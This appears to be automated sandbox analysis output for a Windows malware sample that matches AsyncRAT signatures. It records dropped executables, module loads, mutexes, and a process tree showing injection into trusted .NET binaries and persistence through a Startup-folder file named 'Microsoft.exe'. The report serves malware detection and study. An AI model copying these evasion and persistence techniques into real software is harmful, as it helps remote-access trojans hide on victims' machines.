Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Section loaded: msvcp140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Section loaded: windows.applicationmodel.dll
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Section loaded: twinapi.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe	Section loaded: webengine4.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\ohvrxt.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: msvcp140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: windows.applicationmodel.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: twinapi.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\hgzxhw.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: webengine4.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: edputil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: appresolver.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: slc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: sppc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\chcp.com	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Temp\utntwb.exe	Section loaded: urlmon.dll

Source: 3.2.jsc.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.1666528793.0000016E9AC91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000003.00000002.3891974556.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, LockContentionCountCustomAttributeEncodedArgument.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: spczxf.exe.3.dr, AddNonscalarCompareScalarNotLessThanOrEqual.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: ohvrxt.exe.3.dr, ----.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: hgzxhw.exe.3.dr, DefineGlobalMethodLdloc0.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: msbuild.exe.27.dr, TaskParameter.cs	Task registration methods: 'CreateNewTaskItemFrom'
Source: msbuild.exe.27.dr, OutOfProcTaskHostNode.cs	Task registration methods: 'RegisterTaskObject', 'UnregisterPacketHandler', 'RegisterPacketHandler', 'UnregisterTaskObject', 'GetRegisteredTaskObject'
Source: msbuild.exe.27.dr, TaskLoader.cs	Task registration methods: 'CreateTask'
Source: msbuild.exe.27.dr, RegisteredTaskObjectCacheBase.cs	Task registration methods: 'GetLazyCollectionForLifetime', 'RegisterTaskObject', 'DisposeObjects', 'IsCollectionEmptyOrUncreated', 'UnregisterTaskObject', 'DisposeCacheObjects', 'GetRegisteredTaskObject', 'GetCollectionForLifetime'

Source: msbuild.exe.27.dr, NodeEndpointOutOfProcBase.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent(bool)
Source: msbuild.exe.27.dr, NodeEndpointOutOfProcBase.cs	Security API names: System.IO.Pipes.PipeSecurity.AddAccessRule(System.IO.Pipes.PipeAccessRule)
Source: msbuild.exe.27.dr, NodeEndpointOutOfProcBase.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe.16e9aca9960.0.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 21.2.hgzxhw.exe.29263e4aa50.2.raw.unpack, fAGAKo.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 21.2.hgzxhw.exe.29263e4aa50.2.raw.unpack, fAGAKo.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 21.2.hgzxhw.exe.29263e4e490.1.raw.unpack, fAGAKo.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 21.2.hgzxhw.exe.29263e4e490.1.raw.unpack, fAGAKo.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: msbuild.exe.27.dr, CommunicationsUtilities.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: msbuild.exe.27.dr, CommunicationsUtilities.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: msbuild.exe, 00000027.00000002.2594043782.0000000002511000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\Windows\system32\*.sln
Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe, 00000000.00000002.1665839826.0000016E99254000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdbe
Source: msbuild.exe, 00000025.00000000.2320139777.0000000000062000.00000002.00000001.01000000.00000013.sdmp, msbuild.exe.27.dr	Binary or memory string: .configAMSBUILDDIRECTORYDELETERETRYCOUNTCMSBUILDDIRECTORYDELETRETRYTIMEOUT.sln
Source: msbuild.exe, 00000025.00000000.2320139777.0000000000062000.00000002.00000001.01000000.00000013.sdmp, msbuild.exe.27.dr	Binary or memory string: MSBuild MyApp.sln /t:Rebuild /p:Configuration=Release
Source: msbuild.exe, 00000025.00000000.2320139777.0000000000062000.00000002.00000001.01000000.00000013.sdmp, msbuild.exe.27.dr	Binary or memory string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb
Source: msbuild.exe, 00000025.00000002.2334565307.0000000000682000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\Users\user\Desktop\<.slnh(`h
Source: msbuild.exe, 00000025.00000002.2349901053.00000000022F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q C:\Users\user\Desktop\*.sln
Source: msbuild.exe, 00000025.00000000.2320139777.0000000000062000.00000002.00000001.01000000.00000013.sdmp, msbuild.exe, 00000025.00000002.2349901053.00000000022F1000.00000004.00000800.00020000.00000000.sdmp, msbuild.exe, 00000027.00000002.2594043782.0000000002511000.00000004.00000800.00020000.00000000.sdmp, msbuild.exe.27.dr	Binary or memory string: *.sln
Source: msbuild.exe, 00000025.00000000.2320139777.0000000000062000.00000002.00000001.01000000.00000013.sdmp, msbuild.exe.27.dr	Binary or memory string: MSBuild MyApp.csproj /t:Clean
Source: msbuild.exe, 00000025.00000000.2320139777.0000000000062000.00000002.00000001.01000000.00000013.sdmp, msbuild.exe.27.dr	Binary or memory string: /ignoreprojectextensions:.sln
Source: spczxf.exe, 00000008.00000002.1740777553.000001A4CD9E1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb
Source: msbuild.exe, 00000025.00000000.2320139777.0000000000062000.00000002.00000001.01000000.00000013.sdmp, msbuild.exe.27.dr	Binary or memory string: MSBUILD : error MSB1048: Solution files cannot be debugged directly. Run MSBuild first with an environment variable MSBUILDEMITSOLUTION=1 to create a corresponding ".sln.metaproj" file. Then debug that.

Source: classification engine

Classification label: mal100.troj.adwa.spyw.expl.evad.mine.winEXE@96/54@2/3

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\tc.txt

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5412:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3988:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6440:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2908
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7096:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4424:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:640:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5172:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess432
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Mutant created: \Sessions\1\BaseNamedObjects\bUezpCDHVjUVS3W9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Mutant created: \Sessions\1\BaseNamedObjects\qjtceeyroh
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1568:120:WilError_03
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1384
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3660
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5788

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

File created: C:\Users\user\AppData\Local\Temp\spczxf.exe

Jump to behavior

Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	ReversingLabs: Detection: 44%
Source: SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Virustotal: Detection: 48%

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe

File read: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe "C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 384 -p 432 -ip 432
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.25316.31097.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 432 -s 1216
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Users\user\AppData\Local\Temp\spczxf.exe "C:\Users\user\AppData\Local\Temp\spczxf.exe"
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_wp.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 544 -p 2908 -ip 2908
Source: C:\Users\user\AppData\Local\Temp\spczxf.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 2908 -s 3156
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe"
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Microsoft.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe	Process created: C:\Users\user\AppData\Local\Temp\ohvrxt.exe "C:\Users\user\AppData\Local\Temp\ohvrxt.exe"
